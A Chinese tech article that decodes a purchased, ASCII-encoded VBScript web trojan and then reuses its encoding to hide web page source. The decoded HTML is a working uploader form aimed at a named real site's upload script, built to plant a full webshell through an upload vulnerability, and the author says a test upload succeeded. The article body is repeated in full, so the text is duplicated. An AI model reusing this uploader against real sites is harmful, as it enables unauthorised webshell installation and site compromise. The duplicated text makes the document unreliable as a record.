对某ASC加密网马的破解和利用
佚名
QQ群中,有人在叫卖网马。网友花钱获得一个共享给我,让我看看。于是有了下面的这篇文章。
1.网马初探
在浏览器中打开网马,这个网马的功能比较简单,主要用来上传功能更强的网马。比较有特色的是可以在目标网页的上传漏洞,自己修改修改配置。查看该网马的源代码,发现该网马加密了,很明显是用ASC加密。(图1)
2.网马分析
虽然该网马的核心功能代码进行ASC加密了,但其框架一目了然。其代码及其解释如下:
<script language=vbscript>
'可以看到该网马是一个VB脚本
function rechange(k)
'定义了一个rechange函数,该函数定义了一个变量k
s=Split(k,",")
'split的作用是把k以“,”分开,把其定义为一个数组
t=""
给t赋空值;
For i = 0 To UBound(s)
t=t Chrw(eval(s(i)))
用for进行循环转换,把t值转换为字符,依次累加。UBound是数组的维数,Chrw是字符转换函数。
Next
rechange=t
把t返回到函数
End Function
t="60,33,68,79,67,84,89,80,69,32,104,116,109,108,32,80,85,66,76,73,67,32,34,45,47,47,87,51,67,47,47,68,84,68,32,88,72,84,77,76,32,49,46,48,32,84,114,97,110,115,105,116,105,111,110,97,108,47,......"
'中间省略N多,这就是网马的功能代码
document.write rechange(t)
'在浏览器中输出函数值
</script>
3.网马解密
可以自行编写一个ASC解密工具,笔者从网上下载了别人的ASC解密代码,然后根据该网马的加密原理进行修改重新编译生成解密工具。
运行该工具,把该网马源代码t后面的值拷贝至工具相应的文本框中点击解密,即可还原该网马的源代码。(图2)
<body>
<form action=http://www.51iccard.com/upfile_other.asp method=post name=form1 onsubmit=return
click() enctype=multipart/form-data>
<p align="center"><span class="STYLE4"> 源(</span><span class="STYLE3">图片</span><span class="STYLE4">)文件:
</span>
<input name="filename" type="file" class="buttonUnActive" size="20">
<span class="STYLE4">
目标(</span><span class="STYLE3">大马</span><span class="STYLE4">)文件:
</span>
<input name="filename1" type=file class=buttonUnActive size=20></p>
<p align="center">
<input name=submit type=submit class="button" style=border"1px value=上传大马 double rgb(88.88.88);font:9pt>
<input name=imgwidth type=hidden id=imgwidth>
<input name=imgheight type=hidden id=imgheight>
<input name=aligntype type=hidden id="channelid" value="0">
<input name="channelid" type="hidden" id="channelurlid" value=0>
<input name="id" type="hidden" id="id2">
</p>
4.解密效果
拷贝解密后的html代码保存为一test.htm文件,在浏览器中打开,进行上传测试成功,说明对该网马的ASC解密成功。(图3)
5.加密利用
在破解了该网马的ASC加密之后,我们利用该网马的加密原理对我们的网页进行加密,达到保护网页代码的效果。ASC加密主要用来保护静态页面代码,动态代码由于在服务器端,客户端显示的只是运行结果。“IT专家网”的页面是动态生成的,作为演示就以它为例进行。
查看并拷贝网页代码,通过“ASCCII速查器”把字符转换成ASC值。然后把生成的ASC值拷贝到我们破解的网马代码中作为t的值。这样可以别人就不能看到网页源代码,看到的只是其的ASC值,对网页代码起到了一定的保护作用,运行效果和加密前完全一样。(图4)
总结:ASC加密是当前静态网页加密的主要形式,从上面笔者对某网马的解密看,这种加密形式并不能从根本上保证网页代码的安全。基于笔者及其朋友网站维护的经验,推荐几种网页加密方法:
1.脚本加密,通过类似VB、JAVA这样脚本代码实现:封锁鼠标右键、禁止查看源文件、链接调用地址加密等功能。
2.IIS的密码,通过对IIS的安全、验证等部署,防止非授权的访问。
3.ASP程序加密,使用ASP程序来给网页进行加密,现在大多数网站都使用ASP程序,它对Web服务器没有具体要求,而其加密就是借助数据库及ASP程序进行设计,来实现一种通用网页加密。
4.软件加密,现在给网页加密的软件非常多,其基本原理都是利用javascript代码,只不过是这些软件都自动准备好了这些代码,只需使用者将网页源代码粘进去点击“加密”按钮就可以了。
1.网马初探
在浏览器中打开网马,这个网马的功能比较简单,主要用来上传功能更强的网马。比较有特色的是可以在目标网页的上传漏洞,自己修改修改配置。查看该网马的源代码,发现该网马加密了,很明显是用ASC加密。(图1)
2.网马分析
虽然该网马的核心功能代码进行ASC加密了,但其框架一目了然。其代码及其解释如下:
<script language=vbscript>
'可以看到该网马是一个VB脚本
function rechange(k)
'定义了一个rechange函数,该函数定义了一个变量k
s=Split(k,",")
'split的作用是把k以“,”分开,把其定义为一个数组
t=""
给t赋空值;
For i = 0 To UBound(s)
t=t Chrw(eval(s(i)))
用for进行循环转换,把t值转换为字符,依次累加。UBound是数组的维数,Chrw是字符转换函数。
Next
rechange=t
把t返回到函数
End Function
t="60,33,68,79,67,84,89,80,69,32,104,116,109,108,32,80,85,66,76,73,67,32,34,45,47,47,87,51,67,47,47,68,84,68,32,88,72,84,77,76,32,49,46,48,32,84,114,97,110,115,105,116,105,111,110,97,108,47,......"
'中间省略N多,这就是网马的功能代码
document.write rechange(t)
'在浏览器中输出函数值
</script>
3.网马解密
可以自行编写一个ASC解密工具,笔者从网上下载了别人的ASC解密代码,然后根据该网马的加密原理进行修改重新编译生成解密工具。
运行该工具,把该网马源代码t后面的值拷贝至工具相应的文本框中点击解密,即可还原该网马的源代码。(图2)
<body>
<form action=http://www.51iccard.com/upfile_other.asp method=post name=form1 onsubmit=return
click() enctype=multipart/form-data>
<p align="center"><span class="STYLE4"> 源(</span><span class="STYLE3">图片</span><span class="STYLE4">)文件:
</span>
<input name="filename" type="file" class="buttonUnActive" size="20">
<span class="STYLE4">
目标(</span><span class="STYLE3">大马</span><span class="STYLE4">)文件:
</span>
<input name="filename1" type=file class=buttonUnActive size=20></p>
<p align="center">
<input name=submit type=submit class="button" style=border"1px value=上传大马 double rgb(88.88.88);font:9pt>
<input name=imgwidth type=hidden id=imgwidth>
<input name=imgheight type=hidden id=imgheight>
<input name=aligntype type=hidden id="channelid" value="0">
<input name="channelid" type="hidden" id="channelurlid" value=0>
<input name="id" type="hidden" id="id2">
</p>
4.解密效果
拷贝解密后的html代码保存为一test.htm文件,在浏览器中打开,进行上传测试成功,说明对该网马的ASC解密成功。(图3)
5.加密利用
在破解了该网马的ASC加密之后,我们利用该网马的加密原理对我们的网页进行加密,达到保护网页代码的效果。ASC加密主要用来保护静态页面代码,动态代码由于在服务器端,客户端显示的只是运行结果。“IT专家网”的页面是动态生成的,作为演示就以它为例进行。
查看并拷贝网页代码,通过“ASCCII速查器”把字符转换成ASC值。然后把生成的ASC值拷贝到我们破解的网马代码中作为t的值。这样可以别人就不能看到网页源代码,看到的只是其的ASC值,对网页代码起到了一定的保护作用,运行效果和加密前完全一样。(图4)
总结:ASC加密是当前静态网页加密的主要形式,从上面笔者对某网马的解密看,这种加密形式并不能从根本上保证网页代码的安全。基于笔者及其朋友网站维护的经验,推荐几种网页加密方法:
1.脚本加密,通过类似VB、JAVA这样脚本代码实现:封锁鼠标右键、禁止查看源文件、链接调用地址加密等功能。
2.IIS的密码,通过对IIS的安全、验证等部署,防止非授权的访问。
3.ASP程序加密,使用ASP程序来给网页进行加密,现在大多数网站都使用ASP程序,它对Web服务器没有具体要求,而其加密就是借助数据库及ASP程序进行设计,来实现一种通用网页加密。
4.软件加密,现在给网页加密的软件非常多,其基本原理都是利用javascript代码,只不过是这些软件都自动准备好了这些代码,只需使用者将网页源代码粘进去点击“加密”按钮就可以了。